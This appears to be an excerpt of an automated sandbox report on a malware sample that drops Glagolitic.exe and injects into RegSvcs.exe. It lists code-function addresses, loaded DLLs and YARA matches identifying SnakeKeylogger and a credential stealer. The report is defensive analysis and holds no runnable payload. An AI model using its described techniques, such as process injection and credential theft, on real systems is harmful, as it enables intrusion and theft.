Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 3_2_031139EF | 3_2_031139EF |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 3_2_03113E09 | 3_2_03113E09 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_004096A0 | 5_2_004096A0 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_0042200C | 5_2_0042200C |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_00404170 | 5_2_00404170 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_0041A217 | 5_2_0041A217 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_00412216 | 5_2_00412216 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_0042435D | 5_2_0042435D |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_004033C0 | 5_2_004033C0 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_0044F430 | 5_2_0044F430 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_004125E8 | 5_2_004125E8 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_0044663B | 5_2_0044663B |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_00413801 | 5_2_00413801 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_0042096F | 5_2_0042096F |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_004129D0 | 5_2_004129D0 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_004119E3 | 5_2_004119E3 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_0041C9AE | 5_2_0041C9AE |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_0047EA6F | 5_2_0047EA6F |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_0040FA10 | 5_2_0040FA10 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_0044EB5F | 5_2_0044EB5F |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_00423C81 | 5_2_00423C81 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_00411E78 | 5_2_00411E78 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_00442E0C | 5_2_00442E0C |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_00420EC0 | 5_2_00420EC0 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_0044CF17 | 5_2_0044CF17 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_00444FD2 | 5_2_00444FD2 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_03EDEE00 | 5_2_03EDEE00 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 6_2_00E1C146 | 6_2_00E1C146 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 6_2_00E1D278 | 6_2_00E1D278 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 6_2_00E15370 | 6_2_00E15370 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 6_2_00E1C468 | 6_2_00E1C468 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 6_2_00E1C738 | 6_2_00E1C738 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 6_2_00E169A0 | 6_2_00E169A0 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 6_2_00E1E988 | 6_2_00E1E988 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 6_2_00E13AA1 | 6_2_00E13AA1 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 6_2_00E1CA08 | 6_2_00E1CA08 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 6_2_00E1CCD8 | 6_2_00E1CCD8 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 6_2_00E19DE0 | 6_2_00E19DE0 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 6_2_00E13E09 | 6_2_00E13E09 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 6_2_00E16FC8 | 6_2_00E16FC8 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 6_2_00E1CFA9 | 6_2_00E1CFA9 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 6_2_00E1F631 | 6_2_00E1F631 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 6_2_00E1E97B | 6_2_00E1E97B |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 6_2_00E1FA88 | 6_2_00E1FA88 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 6_2_06521E80 | 6_2_06521E80 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 6_2_065217A0 | 6_2_065217A0 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 6_2_06529C70 | 6_2_06529C70 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 6_2_06529548 | 6_2_06529548 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 6_2_06520B30 | 6_2_06520B30 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 6_2_06525028 | 6_2_06525028 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 6_2_06522968 | 6_2_06522968 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 6_2_06521E70 | 6_2_06521E70 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 6_2_0652DE00 | 6_2_0652DE00 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 6_2_0652E6B0 | 6_2_0652E6B0 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 6_2_0652E6A0 | 6_2_0652E6A0 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 6_2_0652E6AF | 6_2_0652E6AF |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 6_2_0652EF51 | 6_2_0652EF51 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 6_2_0652EF60 | 6_2_0652EF60 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 6_2_0652178F | 6_2_0652178F |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 6_2_06529C4F | 6_2_06529C4F |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 6_2_0652CCA0 | 6_2_0652CCA0 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 6_2_0652D550 | 6_2_0652D550 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 6_2_0652D540 | 6_2_0652D540 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 6_2_0652DDFE | 6_2_0652DDFE |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 6_2_0652E258 | 6_2_0652E258 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 6_2_0652E24A | 6_2_0652E24A |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 6_2_0652EAF8 | 6_2_0652EAF8 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 6_2_0652EB08 | 6_2_0652EB08 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 6_2_06520B20 | 6_2_06520B20 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 6_2_0652F3B8 | 6_2_0652F3B8 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 6_2_06528BA0 | 6_2_06528BA0 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 6_2_06520040 | 6_2_06520040 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 6_2_0652F810 | 6_2_0652F810 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 6_2_06525018 | 6_2_06525018 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 6_2_0652F802 | 6_2_0652F802 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 6_2_06520006 | 6_2_06520006 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 6_2_0652003F | 6_2_0652003F |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 6_2_0652D0F8 | 6_2_0652D0F8 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 6_2_0652D999 | 6_2_0652D999 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 6_2_0652D9A8 | 6_2_0652D9A8 |
Source: 5.2.Glagolitic.exe.3830000.1.unpack, type: UNPACKEDPE | Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23 |
Source: 5.2.Glagolitic.exe.3830000.1.unpack, type: UNPACKEDPE | Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/ |
Source: 5.2.Glagolitic.exe.3830000.1.unpack, type: UNPACKEDPE | Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking |
Source: 5.2.Glagolitic.exe.3830000.1.raw.unpack, type: UNPACKEDPE | Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23 |
Source: 5.2.Glagolitic.exe.3830000.1.raw.unpack, type: UNPACKEDPE | Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/ |
Source: 5.2.Glagolitic.exe.3830000.1.raw.unpack, type: UNPACKEDPE | Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking |
Source: 2.2.Glagolitic.exe.3c20000.1.raw.unpack, type: UNPACKEDPE | Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23 |
Source: 2.2.Glagolitic.exe.3c20000.1.raw.unpack, type: UNPACKEDPE | Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/ |
Source: 2.2.Glagolitic.exe.3c20000.1.raw.unpack, type: UNPACKEDPE | Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking |
Source: 2.2.Glagolitic.exe.3c20000.1.unpack, type: UNPACKEDPE | Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23 |
Source: 2.2.Glagolitic.exe.3c20000.1.unpack, type: UNPACKEDPE | Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/ |
Source: 2.2.Glagolitic.exe.3c20000.1.unpack, type: UNPACKEDPE | Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking |
Source: 00000006.00000002.3307267063.0000000000424000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY | Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23 |
Source: 00000002.00000002.876716377.0000000003C20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY | Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23 |
Source: 00000002.00000002.876716377.0000000003C20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY | Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/ |
Source: 00000002.00000002.876716377.0000000003C20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY | Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking |
Source: 00000005.00000002.989629914.0000000003830000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY | Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23 |
Source: 00000005.00000002.989629914.0000000003830000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY | Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/ |
Source: 00000005.00000002.989629914.0000000003830000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY | Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking |
Source: Process Memory Space: Glagolitic.exe PID: 5960, type: MEMORYSTR | Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23 |
Source: Process Memory Space: Glagolitic.exe PID: 5168, type: MEMORYSTR | Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23 |
Source: Process Memory Space: RegSvcs.exe PID: 5944, type: MEMORYSTR | Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23 |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_004333BE GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState, | 0_2_004333BE |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_00464EAE OpenProcess,GetLastError,GetLastError,GetCurrentThread,OpenThreadToken,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,AdjustTokenPrivileges,GetLastError,OpenProcess,AdjustTokenPrivileges,CloseHandle,TerminateProcess,GetLastError,CloseHandle, | 0_2_00464EAE |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_004333BE GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState, | 2_2_004333BE |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_00464EAE OpenProcess,GetLastError,GetLastError,GetCurrentThread,OpenThreadToken,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,AdjustTokenPrivileges,GetLastError,OpenProcess,AdjustTokenPrivileges,CloseHandle,TerminateProcess,GetLastError,CloseHandle, | 2_2_00464EAE |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_004333BE GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState, | 5_2_004333BE |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_00464EAE OpenProcess,GetLastError,GetLastError,GetCurrentThread,OpenThreadToken,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,AdjustTokenPrivileges,GetLastError,OpenProcess,AdjustTokenPrivileges,CloseHandle,TerminateProcess,GetLastError,CloseHandle, | 5_2_00464EAE |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Section loaded: apphelp.dll | Jump to behavior |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Section loaded: mpr.dll | Jump to behavior |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Section loaded: userenv.dll | Jump to behavior |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Section loaded: version.dll | Jump to behavior |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Section loaded: wininet.dll | Jump to behavior |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Section loaded: winmm.dll | Jump to behavior |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Section loaded: wsock32.dll | Jump to behavior |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Section loaded: uxtheme.dll | Jump to behavior |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Section loaded: windows.storage.dll | Jump to behavior |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Section loaded: wldp.dll | Jump to behavior |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Section loaded: kernel.appcore.dll | Jump to behavior |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Section loaded: cryptsp.dll | Jump to behavior |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Section loaded: rsaenh.dll | Jump to behavior |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Section loaded: cryptbase.dll | Jump to behavior |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Section loaded: apphelp.dll | Jump to behavior |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Section loaded: mpr.dll | Jump to behavior |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Section loaded: userenv.dll | Jump to behavior |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Section loaded: version.dll | Jump to behavior |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Section loaded: wininet.dll | Jump to behavior |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Section loaded: winmm.dll | Jump to behavior |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Section loaded: wsock32.dll | Jump to behavior |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Section loaded: uxtheme.dll | Jump to behavior |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Section loaded: windows.storage.dll | Jump to behavior |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Section loaded: wldp.dll | Jump to behavior |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Section loaded: kernel.appcore.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: version.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: kernel.appcore.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: uxtheme.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: sxs.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: vbscript.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: amsi.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: userenv.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: profapi.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: wldp.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: msasn1.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: cryptsp.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: rsaenh.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: cryptbase.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: msisip.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: wshext.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: scrobj.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: mlang.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: mpr.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: scrrun.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: windows.storage.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: propsys.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: edputil.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: urlmon.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: iertutil.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: srvcli.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: netutils.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: windows.staterepositoryps.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: sspicli.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: wintypes.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: appresolver.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: bcp47langs.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: slc.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: sppc.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: onecorecommonproxystub.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: onecoreuapcommonproxystub.dll | Jump to behavior |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Section loaded: mpr.dll | Jump to behavior |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Section loaded: userenv.dll | Jump to behavior |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Section loaded: version.dll | Jump to behavior |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Section loaded: wininet.dll | Jump to behavior |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Section loaded: winmm.dll | Jump to behavior |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Section loaded: wsock32.dll | Jump to behavior |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Section loaded: uxtheme.dll | Jump to behavior |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Section loaded: windows.storage.dll | Jump to behavior |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Section loaded: wldp.dll | Jump to behavior |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Section loaded: kernel.appcore.dll | Jump to behavior |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_0047A330 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed, | 0_2_0047A330 |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_00434418 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput, | 0_2_00434418 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_0047A330 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed, | 2_2_0047A330 |
